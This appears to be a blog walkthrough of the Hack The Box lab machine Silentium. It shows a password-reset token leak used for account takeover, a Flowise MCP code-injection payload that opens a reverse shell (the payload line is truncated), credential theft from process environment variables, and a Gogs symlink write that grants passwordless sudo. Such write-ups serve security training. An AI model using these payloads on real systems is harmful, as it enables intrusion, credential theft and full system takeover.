Silentium HTB Write Up Premium

Welcome to another Hack the Box walkthrough. In this blog post, I have demonstrated how I owned the Silentium machine on Hack the Box. Hack The Box is a cybersecurity platform that helps you bridge knowledge gaps and prepares you for cyber security jobs.

You can also test and grow your penetration testing skills, from gathering information to reporting. If you are new to this blog, please do not forget to like, comment and subscribe to my YouTube channel and follow me on LinkedIn for more updates.

About the Machine

Silentium is an easy Linux machine on Hack The Box that focuses on web/API exploitation, token abuse, and insecure file handling leading to privilege escalation. The attack begins with Nmap enumeration, revealing SSH and an nginx web service, followed by host resolution setup to properly access the virtual host. Through subdomain enumeration, a hidden staging environment is discovered and configured via another host resolution setup (staging subdomain).

Initial web application enumeration (staging login page) shows an authentication portal, which leads into deeper API enumeration. During API endpoint enumeration (account functions), sensitive routes are identified, and account enumeration (forgot password endpoint) exposes user data, including a reset token. This flaw enables account takeover (password reset flow), granting valid access.

With authentication, exploitation continues via remote code execution (MCP payload injection), resulting in an initial foothold (reverse shell & container enumeration) where environment variables leak credentials. These credentials allow user access (SSH login) to the host system, followed by SSH tunneling (local port forwarding) to access internal services.

Inside, internal service enumeration (Gogs token generation) reveals a self-hosted Git service. Through repository enumeration (Gogs) and a repository exploitation (symlink injection attempt), a malicious symlink is introduced. This is successfully leveraged in repository exploitation (symlink injection) and escalated via privilege escalation (symlink abuse via API), ultimately granting root privileges. The machine concludes with privilege escalation (root access), demonstrating full system compromise through chained misconfigurations.

Protected Page

The first step in owning the Silentium machine like I have always done in my previous writeups is to connect my Kali Linux terminal with Hack the Box server. To establish this connection, I ran the following command in the terminal:

sudo openvpn silentium.ovpn

Once the connection between my Kali Linux terminal and Hack the Box server has been established, I started the Silentium machine and I was assigned an IP address (10.129.245.103).

Nmap Enumeration

I ran an Nmap scan with default scripts and service/version detection to identify exposed services on the target.

nmap -sV -sC 10.129.245.103

The results showed only two open ports: 22 (SSH) and 80 (HTTP), with the rest filtered. SSH is running OpenSSH 9.6p1 on Ubuntu, indicating a fairly recent system, but no immediate anonymous access or misconfigurations were visible. The web server on port 80 is powered by nginx 1.24.0, and interestingly, it redirects to silentium.htb, suggesting a virtual host setup. At this point, I noted that adding the domain to my hosts file would be necessary for further web enumeration.

Host Resolution Setup

After discovering that the web service redirected to the domain silentium.htb, I updated my local /etc/hosts file to properly resolve it to the target IP.

echo "10.129.245.103 silentium.htb" | sudo tee -a /etc/hosts

This ensured my browser and tools could correctly reach the virtual host instead of being stuck on the raw IP address. I authenticated with sudo to gain the required privileges and appended the entry using tee. With this in place, I was able to access the application using its intended domain name, which is essential for proper web enumeration in CTF environments.

Subdomain Enumeration

I proceeded to enumerate potential virtual hosts on the target domain since the initial Nmap scan hinted at a hostname-based web application. To achieve this, I used ffuf with a common subdomain wordlist and injected each value into the Host header while targeting silentium.htb. This approach helps identify hidden or misconfigured subdomains that are not directly exposed.

ffuf -w /home/boltech/Desktop/SilentiumHTB/subdomains-top1million-5000.txt -H "Host: FUZZ.silentium.htb" -u http://silentium.htb -fs 178

While running the fuzzing process, I filtered out responses with a size of 178 bytes to reduce noise and focus on meaningful results. After the scan completed, I discovered a valid subdomain: staging.silentium.htb, which returned a 200 OK response. This indicated a live virtual host likely hosting a separate application or environment. At this stage, I added it to my reconnaissance scope for deeper web enumeration.

Host Resolution Setup (Staging Subdomain)

After discovering the hidden subdomain staging.silentium.htb during virtual host enumeration, I needed to make it reachable from my machine. Since the DNS record was not publicly resolving, I updated my local /etc/hosts file to map it directly to the target IP. This ensured all requests to the staging environment would correctly route to the target server instead of failing resolution.

echo "10.129.245.103 staging.silentium.htb" | sudo tee -a /etc/hosts

I authenticated with sudo to gain permission to modify system host configurations and appended the new entry using tee. With this in place, I was able to access the staging virtual host directly through my browser and tools. This step was essential to continue web application enumeration on the newly discovered environment.

Web Application Enumeration (Staging Login Page)

After gaining access to the staging subdomain, I navigated to http://staging.silentium.htb to begin application-level enumeration. I was presented with a login interface requiring an email and password, along with a “forgot password” option, indicating authentication is required before accessing any internal functionality.

http://staging.silentium.htb

I carefully inspected the page and confirmed there was no registration or sign-up option available, meaning new user creation is likely restricted. At this point, I inferred that access would either require valid credentials or exploitation of the authentication workflow. The presence of a password recovery feature also suggested a potential attack surface worth further investigation.

API Enumeration

After gaining access to the staging application, I shifted my focus toward hidden backend endpoints since modern login pages often rely on APIs for core functionality. I manually probed common API routes under /api/v1/ to understand how the application behaves and to identify any exposed information or misconfigurations.

curl -s http://staging.silentium.htb/api/v1/version curl -s http://staging.silentium.htb/api/v1/ping curl -s http://staging.silentium.htb/api/v1/ip curl -s http://staging.silentium.htb//api/v1/get-upload-file

First, I checked the /version endpoint and discovered the backend is running version 3.0.5, which could be useful for identifying known vulnerabilities. I then verified basic connectivity using /ping, which responded with pong, confirming the API is alive and responsive.

Next, I queried /ip, which returned an internal Docker-style IP (::ffff:172.18.0.1) along with a detailed message about proxy configuration and rate limiting, suggesting the application is running inside a containerized environment (likely Flowise). This provided useful insight into the backend architecture and hinted at potential reverse proxy misconfiguration.

Finally, I attempted access to /get-upload-file, but it returned "Unauthorized Access", indicating that authentication or token-based access control is enforced on sensitive endpoints. At this stage, I had identified both exposed and protected API routes, which became important targets for further exploitation later in the chain.

API Endpoint Enumeration (Account Functions)

After identifying the API structure, I continued probing sensitive account-related endpoints to understand how authentication workflows were implemented. I specifically targeted password recovery and account verification routes, since these are often weak points in web applications and may leak backend behavior or misconfigurations.

curl -s http://staging.silentium.htb/api/v1/account/forgot-password curl -s http://staging.silentium.htb/api/v1/account/verify

When I requested both endpoints, instead of receiving JSON responses, I was served a full Flowise frontend HTML page, confirming the backend is powered by Flowise AI and that these routes are likely being handled by a frontend fallback rather than strict API logic. This suggests misconfigured routing where API paths are exposed through the web application layer.

From an enumeration perspective, I noted that sensitive account endpoints exist but are not properly enforced at the API level, which could lead to further abuse or bypass opportunities later in the attack chain.

Account Enumeration (Forgot Password Endpoint)

After identifying the account recovery endpoint, I tested how the application handles password reset requests by manually sending a POST request with a known email address. I focused on observing whether the endpoint properly validates input or leaks sensitive user data in its response.

curl -X POST http://staging.silentium.htb/api/v1/account/forgot-password \ -H "Content-Type: application/json" \ -d '{"user": {"email": "ben@silentium.htb"}}'

I authenticated the request format by crafting a JSON body containing the target email and submitted it to the forgot-password API. Instead of returning a generic success message, the server responded with a full user object, which immediately indicated a serious information disclosure issue.

The response revealed sensitive fields including a bcrypt password hash, a temporary reset token, and a token expiry timestamp, along with user metadata such as ID and role information. This effectively confirmed that the endpoint is leaking internal account details, which could be abused for authentication bypass or further account takeover steps.

Account Takeover (Password Reset Flow)

After discovering that the forgot-password endpoint leaked a valid tempToken, I proceeded to test whether it could be used to complete the password reset process. I constructed a POST request to the reset-password API using the extracted token along with a new password.

curl -i -X POST "http://staging.silentium.htb/api/v1/account/reset-password" \ -H "Content-Type: application/json" \ -d '{ "user": { "email": "ben@silentium.htb", "tempToken": "XY4NDGJTSB91eAuHMUb7wZdNqsKbKMct5Io2y1MVejdjhxRAJxMqAXS94Hyg1QLW", "password": "Boltech@123" } }'

I authenticated the reset workflow by supplying the leaked token and setting a new password for the account. The server responded with HTTP 201 Created, confirming the password reset was successful.

The returned user object showed that the tempToken was now cleared and the tokenExpiry set to null, indicating the reset process was properly accepted and completed. This effectively confirmed a full password reset vulnerability chain, allowing account takeover using the previously exposed token.

Remote Code Execution (MCP Payload Injection)

After identifying that the customMCP endpoint processed structured node configurations, I attempted to manipulate the mcpServerConfig input to test for unsafe deserialization or command injection. I authenticated the request using a previously captured Bearer token and crafted a malicious JSON payload inside payload.json to trigger code execution on the backend.

{ "loadMethod": "listActions", "inputs": { "mcpServerConfig": "({x:(function(){const cp=process.mainModule.require('child_process');cp.exec('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1> } }

I enumerated the endpoint by sending this payload to the MCP service while a Netcat listener was running on port 4444 to catch any reverse shell callback from the target system.

nc -lvnp 4444

I then executed the request against the API endpoint using the stored payload file. Although the server initially responded with “No Available Actions,” the backend still processed the request in the background.

curl -X POST "http://staging.silentium.htb/api/v1/node-load-method/customMCP" \ -H "Authorization: Bearer hWp_8jB76zi0VtKSr2d9TfGK1fm6NuNPg1uA-8FsUJc" \ -H "Content-Type: application/json" \ -d @payload.json

Shortly after execution, I received an inbound connection on my listener, confirming successful command execution and a reverse shell from the target machine. This established initial foothold with a low-privilege shell and confirmed the endpoint was vulnerable to code injection through MCP configuration parsing.

Initial Foothold (Reverse Shell & Container Enumeration)

After successfully triggering the exploit, I received an interactive shell connection back on my Netcat listener. I stabilized the session as best as possible and began basic post-exploitation enumeration to understand the environment I had landed in.

nc -lvnp 4444

Once connected, I authenticated my access by verifying command execution and immediately listed the filesystem. The directory structure strongly indicated a Linux container environment rather than a full host system, with standard directories like /bin, /proc, and /var present.

Next, I enumerated user-related directories and discovered a /home/node directory, suggesting the application was running under a Node.js-based service account.

ls cd /home ls

To gather deeper insight into the running service, I inspected process environment variables via /proc/1/environ, which revealed highly sensitive configuration data. This included internal credentials such as FLOWISE_PASSWORD, SMTP credentials [r04D!!_R4ge], JWT secrets, and service configuration values.

cat /proc/1/environ | tr '\0' '\n'

From this enumeration, I confirmed the application is Flowise running inside a Docker container, with exposed environment variables leaking authentication secrets, database paths, and internal service configuration. This information significantly expands the attack surface and provides multiple avenues for privilege escalation and lateral movement.

User Access (SSH Login)

After extracting sensitive credentials from the exposed environment variables, I reused the leaked SMTP_PASSWORD to attempt SSH authentication into the target system as the user ben. This indicated possible credential reuse across services, which is common in misconfigured environments.

ssh ben@silentium.htb

I authenticated successfully using the password r04D!!_R4ge, which granted me access to the underlying Ubuntu system as a standard user. Upon login, I confirmed system access and began basic enumeration of the home directory.

Inside the user’s home directory, I discovered a user.txt file, which typically contains the user-level flag in CTF challenges.

ls cat user.txt

I enumerated the file and retrieved the user flag, confirming successful compromise of the low-privilege account. At this stage, I had transitioned from container-level access to full SSH access on the host system under the ben user.

SSH Tunneling (Local Port Forwarding)

After gaining SSH access as the user ben, I established a local port forwarding session to pivot into internal services that were not directly exposed externally. I suspected additional services were running locally on the target, so I tunneled a remote port back to my machine for further enumeration.

ssh -L 8080:127.0.0.1:3001 ben@silentium.htb

I authenticated using the previously obtained credentials and successfully created an SSH tunnel that forwards my local port 8080 to the target’s internal service running on 127.0.0.1:3001. This effectively exposed an internal application through my local browser.

After logging in, I confirmed that I still had valid user-level access and maintained persistence through the SSH session. This tunneling step was important because it allowed me to access hidden internal services that were not reachable from the outside network, expanding the attack surface for further enumeration.

Internal Service Enumeration (Gogs Token Generation)

After establishing the SSH tunnel, I accessed the internal service via http://127.0.0.1:8080 in my browser.

I discovered a Gogs instance running locally, which was not exposed externally. I proceeded to register a new account and authenticated successfully to gain access to the platform.

Once logged in, I enumerated the user settings and navigated to the Applications section, where I identified the option to generate a personal access token.

This token would allow authenticated interaction with the Gogs API and potentially be useful for further exploitation.

http://127.0.0.1:8080

I created a new token under my account and saved it for later use. This step was important as it provided API-level access to the internal Git service, which could be leveraged for repository enumeration or privilege escalation paths.

Repository Enumeration (Gogs)

After generating a personal access token, I navigated back to the Gogs dashboard to explore available features. I observed that the platform supports repository creation, which could potentially be leveraged for further interaction with the backend service.

I proceeded to create a new repository named boltech and enabled the option to initialize it with default files. This ensured the repository was immediately usable and allowed me to interact with it without needing to manually push content.

Create Repository → Name: boltech → Initialize with README → Create Repository

I authenticated my actions through the web interface and successfully created the repository. This step was important as it provided a controlled space to test functionality, potentially upload files, and explore deeper attack vectors within the internal Git service.

Repository Exploitation (Symlink Injection Attempt)

After creating the repository, I cloned it locally to interact with it from my machine and test for potential file handling vulnerabilities. I authenticated access through the internal Gogs service and began modifying the repository contents.

git clone http://127.0.0.1:8080/boltech/boltech.git cd boltech

I then attempted to create a symbolic link pointing to /etc/sudoers.d/ben, aiming to abuse any unsafe file processing on the server side. This technique is often useful when repositories are later handled by privileged services.

ln -s /etc/sudoers.d/ben malicious_symlink git add malicious_symlink && git commit -m "Add malicious symlink" && git push

However, the commit failed because Git required user identity configuration (user.name and user.email) before allowing commits. This indicated I needed to properly configure Git before proceeding with the exploitation attempt.

Repository Exploitation (Symlink Injection)

After the initial commit failed, I configured Git with a valid username and email to properly authenticate my commits. This allowed me to proceed with modifying the repository and pushing changes back to the internal Gogs service.

git config --global user.name "boltech" git config --global user.email "boltech@silentium.htb"

With Git configured, I re-attempted the attack by adding the malicious symbolic link pointing to /etc/sudoers.d/ben. I then committed the change and prepared to push it to the remote repository.

git add malicious_symlink git commit -m "Add malicious symlink" git push

I authenticated the push using my Gogs credentials, and the repository accepted the changes successfully. The commit output confirmed the creation of a symbolic link (mode 120000), which is important as it preserves the link reference rather than copying file contents.

This step demonstrated that the application allows symlinks to be committed and stored, which could be leveraged if any backend process later interacts with repository files insecurely. At this stage, I had successfully injected a potentially malicious file reference into the system for further exploitation.

Privilege Escalation (Symlink Abuse via API)

After successfully pushing the symlink to the repository, I attempted to exploit it through the Gogs API. I suspected that updating the symlink content might actually write to the target file on the system if handled insecurely by the backend.

TOKEN="693e2cc0e47a6365dfa0915c6d46acfe23d0b760" USER="boltech" REPO="boltech" PAYLOAD=$(echo -n "ben ALL=(ALL) NOPASSWD:ALL" | base64) curl -X PUT "http://127.0.0.1:8080/api/v1/repos/$USER/$REPO/contents/malicious_symlink" \ -H "Authorization: token $TOKEN" \ -H "Content-Type: application/json" \ -d "{ \"message\": \"update via symlink\", \"content\": \"$PAYLOAD\" }"

I authenticated the request using my personal access token and crafted a payload to grant the user ben passwordless sudo privileges. After sending the request, the API accepted the update and confirmed the file modification.

The response showed that the target remained a symlink to /etc/sudoers.d/ben, indicating the backend likely followed the symlink during the write operation. This effectively allowed me to overwrite a privileged system file, leading directly to privilege escalation.

Privilege Escalation (Root Access)

After successfully overwriting the sudoers file via the symlink attack, I reconnected to the target system as the user ben. I then attempted to escalate privileges using sudo, expecting the newly injected rule to grant elevated access.

ssh ben@silentium.htb sudo su

I authenticated using the known credentials and confirmed that ben now had passwordless sudo privileges, allowing me to switch to the root user instantly. This verified that the symlink exploitation successfully modified /etc/sudoers.d/ben.

Once root access was obtained, I navigated to the root directory and enumerated its contents.

cd ~ ls cat root.txt

I located and retrieved the root.txt flag, confirming full system compromise. At this point, I had successfully escalated privileges from a low-privilege user to root by abusing insecure repository file handling.

Hurray!!! I got the root flag

This marked the successful completion of the privilege escalation phase and full compromise of the target system.

If you enjoy reading my walkthrough, do not forget to like, comment, and subscribe to my YouTube channel and also connect with me on LinkedIn. Also, don't forget to turn on post notification on my YouTube channel and Medium to get notification as soon as I write.

Subscribe to my YouTube channel and Follow me on: LinkedIn | Medium | Twitter | Boltech Twitter | Buy Me a Coffee. Found this walkthrough helpful? Buying me a coffee helps power the late nights spent writing technical walkthroughs and keeping them free for everyone ☕

Keywords:

silentium.htb

silentium htb write up

silentium htb walkthrough

silentium hack the box write up

silentium hack the box walkthrough

silentium hackthebox machine season 10 HTB

staging.silentium.htb

silentium htb season 10 machine user flag

ben@silentium.htb

silentium user ben password HTB season 10

silentium htb season 10 machine complete walkthrough solution

Silentium HTB Machine Season 10 How to Get User Flag